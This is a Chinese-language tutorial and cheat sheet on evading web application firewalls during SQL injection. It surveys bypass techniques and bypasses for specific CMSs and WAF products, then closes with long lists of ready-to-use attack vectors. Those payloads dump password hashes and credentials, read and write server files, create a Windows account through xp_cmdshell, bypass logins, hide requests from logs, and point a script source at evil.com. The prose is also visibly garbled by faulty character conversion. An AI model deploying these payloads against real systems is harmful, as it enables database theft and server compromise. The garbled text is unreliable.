[目錄]mysql
0x0 前言正則表達式
0x1 WAF的常見特徵sql
0x2 繞過WAF的方法shell
0x3 SQLi Filter的實現及Evasion數據庫
0x4 延伸及測試向量示例express
0x5 本文小結編程
0x6 參考資料瀏覽器
0x0 前言安全
促使本文產生最初的動機是前些天在作測試時一些攻擊向量被WAF擋掉了,並且遇到異常輸入直接發生重定向。以前對WAF並不太瞭解,所以趁此機會科普一下並查閱了一些繞過WAF的方法。網上關於繞過WAF有諸多文章,可是觀察以後會發現大致上繞過WAF的方法就那8、九種,並且這些技術出來也有些日子了,繼續使用這些方法是否有效有待於咱們在實際中去驗證。看過數篇繞過WAF的文章後,前人對技術的總結已經比較全面,可是完整的內容可能分佈在各處,查閱起來不太方便。另外,咱們談繞過WAF,其實就是談如何繞過過濾機制,若是在討論bypass技術的時候明確一下現有的一些filter的實現及其evasion,對於我這樣的初學者來講是否是更好?還有就是若是在文章後面能夠提供一些測試向量提供思路和參考,內容看起來很雜,可是也會比較方便呢?抱着這些想法,同時也頂着巨大的壓力(前人工做已經比較完善,這麼大的信息量總結起來對我是一次挑戰),我仍是決定寫出本文,這樣更能適應本身的需求,也可能更加適合一些朋友的需求。
本文內容從技術上來講並不是原創,也沒有很新的或重大的發現,乃是這幾天從各類資料信息中進行整理所得。本文會對形如http://www.site.com的URI進行簡化,約定爲z.com。
0x1 WAF的常見特徵
之因此要談到WAF的常見特徵,是爲了更好的瞭解WAF的運行機制,這樣就能增長几分繞過的機會了。本文不對WAF作詳細介紹,只談及幾點相關的。
整體來講,WAF(Web Application Firewall)的具備如下四個方面的功能:
1. 審計設備:用來截獲全部HTTP數據或者僅僅知足某些規則的會話
2. 訪問控制設備:用來控制對Web應用的訪問,既包括主動安全模式也包括被動安全模式
3. 架構/網絡設計工具:當運行在反向代理模式,他們被用來分配職能,集中控制,虛擬基礎結構等。
4. WEB應用加固工具:這些功能加強被保護Web應用的安全性,它不只可以屏蔽WEB應用固有弱點,並且可以保護WEB應用編程錯誤致使的安全隱患。
WAF的常見特色:
異常檢測協議:拒毫不符合HTTP標準的請求
加強的輸入驗證:代理和服務端的驗證,而不僅是限於客戶端驗證
白名單&黑名單:白名單適用於穩定的We應用,黑名單適合處理已知問題
基於規則和基於異常的保護:基於規則更多的依賴黑名單機制,基於異常更爲靈活
狀態管理:重點進行會話保護
另還有:Coikies保護、抗入侵規避技術、響應監視和信息泄露保護等
若是是對於掃描器,WAF有其識別之道:
掃描器識別主要由如下幾點:
1) 掃描器指紋(head字段/請求參數值),以wvs爲例,會有很明顯的Acunetix在內的標識
2) 單IP+ cookie某時間段內觸發規則次數
3) 隱藏的連接標籤等(<a>)
4) Cookie植入
5) 驗證碼驗證,掃描器沒法自動填充驗證碼
6) 單IP請求時間段內Webserver返回http狀態404比例, 掃描器探測敏感目錄基於字典,找不到文件則返回404
0x2 繞過WAF的方法
從目前能找到的資料來看,我把這些繞過waf的技術分爲9類,包含從初級到高級技巧
a) 大小寫混合
b)替換關鍵字
c)使用編碼
d)使用註釋
e)等價函數與命令
f)特殊符號
g)HTTP參數控制
h)緩衝區溢出
i)整合繞過
a) 大小寫繞過
大小寫繞過用於只針對小寫或大寫的關鍵字匹配技術,正則表達式/express/i 大小寫不敏感即沒法繞過,這是最簡單的繞過技術
舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例場景可能的狀況爲filter的規則裏有對大小寫轉換的處理,但不是每一個關鍵字或每種狀況都有處理
b)替換關鍵字
這種狀況下大小寫轉化沒法繞過,並且正則表達式會替換或刪除select、union這些關鍵字,若是隻匹配一次就很容易繞過
舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
一樣是很基礎的技術,有些時候甚至構造得更復雜:SeLSeselectleCTecT,不建議對此抱太大指望
c)使用編碼
1.URL編碼
在Chrome中輸入一個鏈接,非保留字的字符瀏覽器會對其URL編碼,如空格變爲%20、單引號%2七、左括號%2八、右括號%29
普通的URL編碼可能沒法實現繞過,還存在一種狀況URL編碼只進行了一次過濾,能夠用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六進制編碼
舉例:z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代碼中,前者是對單個字符十六進制編碼,後者則是對整個字符串編碼,使用上來講較少見一點
3.Unicode編碼
Unicode有所謂的標準編碼和非標準編碼,假設咱們用的utf-8爲標準編碼,那麼西歐語系所使用的就是非標準編碼了
看一下經常使用的幾個符號的一些Unicode編碼:
單引號: %u002七、%u02b九、%u02bc、%u02c八、%u203二、%uff0七、%c0%2七、%c0%a七、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號:%u002八、%uff0八、%c0%2八、%c0%a八、%e0%80%a8
右括號:%u002九、%uff0九、%c0%2九、%c0%a九、%e0%80%a9
舉例:?id=10%D6‘%20AND%201=2%23
SELECT 'Ä'='A'; #1
兩個示例中,前者利用雙字節繞過,好比對單引號轉義操做變成\',那麼就變成了%D6%5C',%D6%5C構成了一個款字節即Unicode字節,單引號能夠正常使用
第二個示例使用的是兩種不一樣編碼的字符的比較,它們比較的結果多是True或者False,關鍵在於Unicode編碼種類繁多,基於黑名單的過濾器沒法處理因此狀況,從而實現繞過
另外平時聽得多一點的多是utf-7的繞過,還有utf-1六、utf-32的繞過,後者從成功的實現對google的繞過,有興趣的朋友能夠去了解下
常見的編碼固然還有二進制、八進制,它們不必定都派得上用場,但後面會提到使用二進制的例子
d) 使用註釋
看一下常見的用於註釋的符號有哪些://, -- , /**/, #, --+,-- -, ;,--a
1.普通註釋
舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在構造得查詢語句中插入註釋,規避對空格的依賴或關鍵字識別;#、--+用於終結語句的查詢
2.內聯註釋
相比普通註釋,內聯註釋用的更多,它有一個特性/!**/只有MySQL能識別
舉例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
兩個示例中前者使用內聯註釋,後者還用到了普通註釋。使用註釋一個頗有用的作法即是對關鍵字的拆分,要作到這一點後面討論的特殊符號也能實現,固然前提是包括/、*在內的這些字符能正常使用
e)等價函數與命令
有些函數或命令因其關鍵字被檢測出來而沒法使用,可是在不少狀況下可使用與之等價或相似的代碼替代其使用
1.函數或變量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()沒法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述這幾個示例用於說明有時候當某個函數不能使用時,還能夠找到其餘的函數替代其實現,置於select、uinon、where等關鍵字被限制如何處理將在後面filter部分討論
2.符號
and和or有可能不能使用,或者能夠試下&&和||能不能用;還有=不能使用的狀況,能夠考慮嘗試<、>,由於若是不小於又不大於,那邊是等於了
在看一下用得多的空格,可使用以下符號表示其做用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函數
MySQL/PostgreSQL支持XML函數:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它們都有許多本身的函數,基於黑名單的filter要想涵蓋這麼多東西從實際上來講不太可能,並且代價太大,看來黑名單技術到必定程度便遇到了限制
f) 特殊符號
這裏我把非字母數字的字符都規在了特殊符號一類,特殊符號有特殊的含義和用法,涉及信息量比前面提到的幾種都要多
先看下烏雲drops上「waf的繞過技巧」一文使用的幾個例子:
1.使用反引號`,例如select `version()`,能夠用來過空格和正則,特殊狀況下還能夠將其作註釋符用
2.神奇的"-+.",select+id-1+1.from users; 「+」是用於字符串鏈接的,」-」和」.」在此也用於鏈接,能夠逃過空格和關鍵字過濾
3.@符號,select@^1.from users; @用於變量定義如@var_name,一個@表示用戶定義,@@表示系統變量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //繞過空格限制
可見,使用這些字符的確是能作不少事,也證明了那句老話,只有想不到,沒有作不到
本人蒐羅了部分可能發揮大做用的字符(未包括'、*、/等在內,考慮到前面已經出現較屢次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
舉例:
關鍵字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell 」net user」’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,」[]」用於表和列,」()」用於數值也能夠作分隔
本節最後在給出一些和這些字符多少有點關係的操做符供參考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用這些"特殊符號"實現繞過是一件很細微的事情,一方面各家數據庫對有效符號的處理是不同的,另外一方面你得充分了解這些符號的特性和使用方法才能做爲繞過手段
g) HTTP參數控制
這裏HTTP參數控制除了對查詢語句的參數進行篡改,還包括HTTP方法、HTTP頭的控制
1.HPP(HTTP Parameter Polution)
舉例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又稱作重複參數污染,最簡單的就是?uid=1&uid=2&uid=3,對於這種狀況,不一樣的Web服務器處理方式以下:
具體WAF如何處理,要看其設置的規則,不過就示例中最後一個來看有較大可能繞過
2.HPF(HTTP Parameter Fragment)
這種方法是HTTP分割注入,同CRLF有類似之處(使用控制字符%0a、%0d等執行換行)
舉例:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
看罷上面兩個示例,發現和HPP最後一個示例很像,不一樣之處在於參數不同,這裏是在不一樣的參數之間進行分割,到了數據庫執行查詢時再合併語句。
3.HPC(HTTP Parameter Contamination)
這一律念見於exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination一樣意爲污染
RFC2396定義了以下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
不一樣的Web服務器處理處理構造得特殊請求時有不一樣的邏輯:
以魔術字符%爲例,Asp/Asp.net會受到影響
h) 緩衝區溢出(Advanced)
緩衝區溢出用於對付WAF,有很多WAF是C語言寫的,而C語言自身沒有緩衝區保護機制,所以若是WAF在處理測試向量時超出了其緩衝區長度,就會引起bug從而實現繞過
舉例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA後面」A"重複1000次,通常來講對應用軟件構成緩衝區溢出都須要較大的測試長度,這裏1000只作參考,在某些狀況下可能不須要這麼長也能溢出
i) 整合繞過
整合的意思是結合使用前面談到的各類繞過技術,單一的技術可能沒法繞過過濾機制,可是多種技術的配合使用成功的可能性就會增長很多了。這一方面來講是整體與局部和的關係,另外一方面則是多種技術的使用創造了更多的可能性,除非每一種技術單獨都沒法使用,不然它們能產生比自身大得多的能量。
舉例:
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4… id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– - ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
0x3 SQLi Filter的實現及Evasion
SQL Injection時用得最多的一些關鍵字以下:and, or, union, where, limit, group by, select, ', hex, substr, white space
對它們的檢測,完整正則表達式爲:preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
其應對方式依次爲:
***note***:"=>"左邊表示會被Filtered的語句,"=>"右邊表示成功Bypass的語句,左邊標紅的爲被Filtered的關鍵字,右邊標藍的爲替代其功能的函數或關鍵字
and => && or => ||
union select user, password from users => 1 || (select user from users where user_id = 1) = 'admin
1 || (select user from users where user_id = 1) = 'admin' => 1 || (select user from users limit 1) = 'admin
1 || (select user from users limit 1) = 'admin' => 1 || (select user from users group by user_id having user_id = 1) = 'admin'
1 || (select user from users group by user_id having user_id = 1) = 'admin' => 1 || (select substr(group_concat(user_id),1,1) user from users )=1
1 || (select substr(group_concat(user_id),1,1) user from users) = 1 => 1 || 1 = 1 into outfile 'result.txt' 或者 1 || substr(user,1,1) = 'a'
1 || (select substr(group_concat(user_id),1,1) user from users) = 1 => 1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61
或者 1 || substr(user,1,1) = unhex(61) // ' Filtered
1 || substr(user,1,1) = unhex(61) => 1 || substr(user,1,1) = lower(conv(11,10,36))
1 || substr(user,1,1) = lower(conv(11,10,36)) => 1 || lpad(user,7,1)
1 || lpad(user,7,1) => 1%0b||%0blpad(user,7,1) // ' ' Filtered
從上面給出的示例來看,沒有絕對的過濾,即使平時構建一個正常SQL語句的所有關鍵字都被過濾了,咱們也仍是能找到Bypass的方法。普世的陽光和真理尚且照不到每個角落,人爲構建出來的一個工具WAF就更加不可能盡善盡美了。咱們能夠相信WAF能爲咱們抵擋不少攻擊,可是毫不能百分之一百的依賴它,就算它有着世上最爲健全的規則,它自己也是會存在缺陷的。
從前面到如今,基本上每條注入語句中都有數字,若是某查詢的數據類型爲字符串、或者作了嚴格限制數字要被和諧掉,這就有點棘手了,不過辦法老是有的:
上面兩張圖,第一張是不能使用數字時經過使用數學函數獲得某個數字的值,第二章則是這些數字對應的36進制的值,所以有時候一個很簡單的表達式可能會很複雜或者很是長,其實際就是計算mod(a,b):
(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass))
0x4 延伸及測試向量示例
a) CMS繞過實例
b) WAF繞過示例
c) SQLi Filter Evasion Cheat sheet
d) 測試向量
a) Web應用繞過示例
1. e107 CMS
$inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { foreach($inArray as $res) { if(stristr($_SERVER['QUERY_STRING'], $res)) { die("Access denied."); }}}
Bypass: vuln.php/trackback?inject=UNI%6fN SELECT
2. PHP-Nuke CMS
if(isset($_SERVER['QUERY_STRING']) && (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { $queryString = $_SERVER['QUERY_STRING']; if ( stripos($queryString, '%20union%20') OR stripos($queryString, '/*') OR stripos($queryString, '*/union/*') OR stripos($queryString, '+union+') OR stripos($queryString, 'concat')) { die('Illegal Operation'); }
Bypass: vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'
3. TYPO3 CMS
$val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence Bypass: vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`
b) WAF繞過示例
1. ModSecurity CRS 2.0.9
1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1 1'union/*!select*/pass,load_file(0x123456789)from users-- -
2. PHPIDS 0.6.4
foo'!=@a:=0x1 div'1a false != true //auth bypass
foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0
a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1
3. GreenSQL 1.3.0
檢測關鍵字:union, information_schema, into outfile, current_user, current_date, version
檢測函數:mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version()
adm' 'in' or 1='1 // auth bypass '-(1)union(select table_name,load_file('/tmp/test'),@@version from /*! information_schema.tables */);%00 //select union '-'' into%a0outfile '/tmp/test //write to file
c) SQLi Filter Evasion Cheat sheet
#註釋 ‘ or 1=1# ‘ or 1=1/* (MySQL < 5.1) ' or 1=1;%00 ' or 1=1 union select 1,2 as ` ' or#newline ' /*!50000or*/1='1 ' /*!or*/1='1 #前綴 + – ~ ! ‘ or –+2=- -!!!’2 #操做符: ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL #空格 %20 %09 %0a %0b %0c %0d %a0 /**/ ‘or+(1)sounds/**/like「1「–%a0- ‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)# #有引號的字符串 SELECT ‘a’ SELECT 「a」 SELECT n’a’ SELECT b’1100001′ SELECT _binary’1100001′ SELECT x’61′ #沒有引號的字符串 ‘abc’ = 0×616263
' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61 # 0x6162
' and substr(data,1,1) = unhex(61) # unhex(6162)
' and substr(data,1,1) = char(97 )# char(97,98)
' and substr(data,1,1) = 'a'#
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#
' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
#別名 select pass as alias from users select pass`alias alias`from users #字型 ‘ or true = ’1 # or 1=1 ‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1 ‘ or ’1 # or true
#操做符字型 select * from users where ‘a’='b’='c’ select * from users where (‘a’='b’)=’c’ select * from users where (false)=’c’ #認真繞過‘=’ select * from users where name = 」=」 select * from users where false = 」 select * from users where 0 = 0 select * from users where true#函數過濾器ascii (97) load_file/*foo*/(0×616263) #用函數構建字符串 ‘abc’ = unhex(616263) ‘abc’ = char(97,98,99) hex(‘a’) = 61 ascii(‘a’) = 97 ord(‘a’) = 97 ‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36)) #特殊字符
aes_encrypt(1,12) // 4鏷眥"^z譎é蒃a
des_encrypt(1,2) // 侴Ò/鎦k
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\
@@new: 0 @@log_bin: 1 #提取子字符串substr(‘abc’,1,1) = ‘a’ substr(‘abc’ from 1 for 1) = ‘a’ substring(‘abc’,1,1) = ‘a’ substring(‘abc’ from 1 for 1) = ‘a’ mid(‘abc’,1,1) = ‘a’ mid(‘abc’ from 1 for 1) = ‘a’ lpad(‘abc’,1,space(1)) = ‘a’ rpad(‘abc’,1,space(1)) = ‘a’ left(‘abc’,1) = ‘a’ reverse(right(reverse(‘abc’),1)) = ‘a’ insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’ space(0) = trim(version()from(version())) #搜索子字符串 locate(‘a’,'abc’) position(‘a’,'abc’) position(‘a’ IN ‘abc’) instr(‘abc’,'a’) substring_index(‘ab’,'b’,1) #分割字符串 length(trim(leading ‘a’ FROM ‘abc’)) length(replace(‘abc’, ‘a’, 」)) #比較字符串 strcmp(‘a’,'a’) mod(‘a’,'a’) find_in_set(‘a’,'a’) field(‘a’,'a’) count(concat(‘a’,'a’)) #字符串長度 length() bit_length() char_length() octet_length() bit_count() #關鍵字過濾 Connected keyword filtering (0)union(select(table_name),column_name,… 0/**/union/*!50000select*/table_name`foo`/**/… 0%a0union%a0select%09group_concat(table_name)…. 0′union all select all`table_name`foo from`information_schema`. `tables` #控制流 case ‘a’ when ‘a’ then 1 [else 0] end case when ‘a’='a’ then 1 [else 0] end if(‘a’='a’,1,0) ifnull(nullif(‘a’,'a’),1)
d) 測試向量
%55nion(%53elect 1,2,3)-- -
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinctROW+select+
-15+(uNioN)+(sElECt)
-15+(UnI)(oN)+(SeL)(ecT)+
id=1+UnIOn/**/SeLect 1,2,3—
id=1+UNIunionON+SELselectECT 1,2,3—
id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3—
id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—
id=1+un/**/ion+sel/**/ect+1,2,3--
id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
id=1+/**/union/*&id=*/select/*&id=*/1,2,3--
id=-1 and (select 1)=(Select 0xAA*1000) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6—x
/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
/*!union*/+/*!select*/+1,2,3—
/*!UnIOn*//*!SeLect*/+1,2,3—
un/**/ion+sel/**/ect+1,2,3—
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—
ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,
?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7--
id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/
id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES--
id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148);
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) in xml way
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user lucifer UrWaFisShiT /*&id=1*/ --
id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
id=10 and 1=0/(select top 1 table_name from information_schema.tables)
id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin--
id=-725+UNION+SELECT+1,version(),3,4,5--sp_password //使用sp_password隱藏log中的請求
0x5 本文小結
本文內容到這裏內容差很少就算是完了,回顧一下本文內容,主要從三個方面展開:繞過WAF的方法、Filter的實現機制和Evasion措施、測試示例和向量。本文的第二部分」繞過WAF的方法「花了較多時間,須要參照已有的總結進行本身的總結並給出示例,第3、四兩部分更多的是粘貼已收集到的向量,所以較快。本文內容和篇幅較多,涉及信息量很大,可是仍有許多不完善或遺漏的地方。本文的示例都取材自互聯網,因材料較多沒法在文章一一列舉每一個個示例和資料的來源,但願所引用資料出處的做者能諒解。在第六部分參考資料中將盡量的列出完成本文所參考的文件或文章來源。我在整理時發現不管是本文仍是網上其餘地方列出的繞過方法大多都是三年之前就已經出來的,這幾年對安全的重視已經遠遠超過了前幾年,可是這些方法依舊可使用。應該說不是每一個有漏洞的主機都會打上補丁,一樣並非說Web攻擊的技術公開了就全部人都會採起完善的措施修補。另外一方面,某項技術的適用期可能只有一段時間,可是實現這項技術背後的思想和方法卻不會輕易過期,所以沿着這個思想進行改進一樣能夠繞過已有的防範措施,這讓人想起授人以魚不如授人以漁。最後,要想真正掌握某項技術、徹底搞懂一個東西,咱們須要花費時間和經歷去接觸它,本文獻給和我同樣的新手,若是有感興趣的朋友能夠私信我討論。